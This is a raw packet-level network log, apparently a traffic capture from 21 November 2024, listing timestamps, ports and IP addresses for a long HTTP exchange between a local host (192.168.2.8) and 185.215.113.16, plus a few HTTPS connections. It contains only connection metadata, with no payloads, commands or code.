Nov 21, 2024 19:59:00.942882061 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.942890882 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.942958117 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.943703890 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.943739891 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.943747997 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.943769932 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.943805933 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.944453001 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.944506884 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.944511890 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.944516897 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.944639921 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.945239067 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.945280075 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.945291042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.945300102 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.945348024 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.946016073 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.946055889 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.946063042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.946125031 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.946805954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.946856976 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.946857929 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.946866035 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.947107077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.947603941 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.947644949 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.947660923 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.947715998 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.948371887 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.948410988 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.948426008 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.948481083 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.948637009 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.949174881 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.949213028 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.949220896 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.949266911 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.949984074 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.950020075 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.950027943 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.950083017 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.950083017 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.950758934 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.950799942 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.950814962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.950866938 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.951083899 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.951596975 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.951636076 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.951644897 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.951704979 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.952372074 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.952456951 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.952472925 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.952476025 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.952507973 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.952522039 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.953459024 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.953546047 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.953553915 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.953557968 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.953563929 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.953586102 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.953618050 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.954183102 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.954212904 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.954227924 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.954265118 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.954278946 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.955044031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.955063105 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.955077887 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.955140114 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.955728054 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.955784082 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.955787897 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:00.955794096 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:00.955938101 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.089466095 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.089526892 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.089538097 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.089574099 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.089612007 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.089891911 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.090162992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.090231895 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.090243101 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.090301991 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.132245064 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132333994 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.132371902 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132384062 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132427931 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.132457972 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132633924 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132709980 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.132755995 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132766008 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.132805109 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.132981062 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.133052111 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.133671999 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.133728981 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.133735895 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.133784056 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.133893967 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.134022951 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.134459019 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.134526968 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.134560108 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.134701014 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.134860992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.134932995 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.134942055 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.134968996 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.134984970 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.134990931 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.135787964 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.135843992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.135893106 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.135909081 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.135946035 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.136022091 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.136030912 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.136178970 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.136950016 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137001038 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137010098 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137016058 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.137048006 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.137080908 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137790918 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137851954 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137861013 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.137862921 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.137900114 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.138020992 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.138078928 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.138797045 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.138807058 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.138823986 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.138905048 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.138937950 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.138967037 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.139698029 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.139719963 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.139740944 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.139781952 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.139801979 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.139827967 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.140583038 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.140645027 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.140688896 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.140702009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.140758991 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.140789986 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.140909910 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.141866922 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.141889095 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.141897917 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.141932964 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.141963959 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.141972065 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.142596960 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.142652988 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.142657042 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.142676115 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.142757893 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.142790079 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.142860889 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.143558979 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.143610001 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.143625021 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.143676043 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.143688917 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.143701077 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.143738031 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.144515991 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.144562960 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.144572973 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.144598007 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.144610882 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.144617081 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.144655943 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.145481110 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.145522118 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.145530939 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.145569086 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.145596027 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.145622969 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.146322012 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.146478891 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.146526098 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.146533966 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.146543980 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.146560907 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.146596909 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.147423983 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.147481918 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.147491932 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.147561073 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.147561073 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.147710085 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.147773981 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.148425102 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.148462057 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.148471117 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.148502111 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.148515940 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.148555040 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.149058104 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.149394989 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.149432898 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.149446964 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.149498940 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.149498940 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.149552107 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.149771929 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.150321007 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.150372028 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.150381088 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.150429964 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.150465012 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.150619030 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.151319027 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.151360989 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.151369095 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.151374102 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.151420116 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.151475906 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.152303934 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.152365923 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.152369022 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.152376890 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.152386904 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.152425051 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.153251886 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.153305054 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.153312922 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.153359890 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.153441906 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.154201031 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.154221058 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.154232025 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.154289007 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.154299974 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.155128002 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.155149937 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.155157089 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.155219078 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.290960073 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.290990114 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.290998936 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.291055918 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.291105986 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.291150093 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.291321039 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.291404009 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.291404009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.291415930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.292071104 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.314403057 CET	49785	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:59:01.314439058 CET	443	49785	162.159.61.3	192.168.2.8
Nov 21, 2024 19:59:01.314569950 CET	49786	443	192.168.2.8	162.159.61.3
Nov 21, 2024 19:59:01.314605951 CET	443	49786	162.159.61.3	192.168.2.8
Nov 21, 2024 19:59:01.314974070 CET	49832	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:01.315011978 CET	443	49832	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:01.315321922 CET	49832	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:01.315582991 CET	49832	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:59:01.315598011 CET	443	49832	23.44.133.17	192.168.2.8
Nov 21, 2024 19:59:01.333431005 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.333525896 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.333534002 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.333585978 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.333605051 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.333625078 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.333633900 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.333643913 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.333656073 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.333683968 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.334484100 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.334537029 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.334552050 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.334561110 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.334578037 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.334630966 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.335437059 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.335486889 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.335503101 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.335536003 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.335556984 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.335575104 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.336385012 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.336436987 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.336452007 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.336461067 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.336491108 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.336519003 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.337383986 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.337421894 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.337434053 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.337450981 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.337472916 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.337476015 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.337600946 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.338553905 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.338648081 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.338655949 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.338778973 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.338795900 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.338917017 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.339437962 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.339447021 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.339463949 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.339473963 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.339508057 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.339526892 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.340359926 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.340436935 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.340456009 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.340473890 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.340476036 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.340508938 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.340533018 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.341209888 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.341273069 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.341275930 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.341285944 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.341315985 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.341372013 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.342233896 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.342276096 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.342287064 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.342333078 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.342361927 CET	80	49831	185.215.113.16	192.168.2.8
Nov 21, 2024 19:59:01.342417955 CET	49831	80	192.168.2.8	185.215.113.16
Nov 21, 2024 19:59:01.343158007 CET	80	49831	185.215.113.16	192.168.2.8
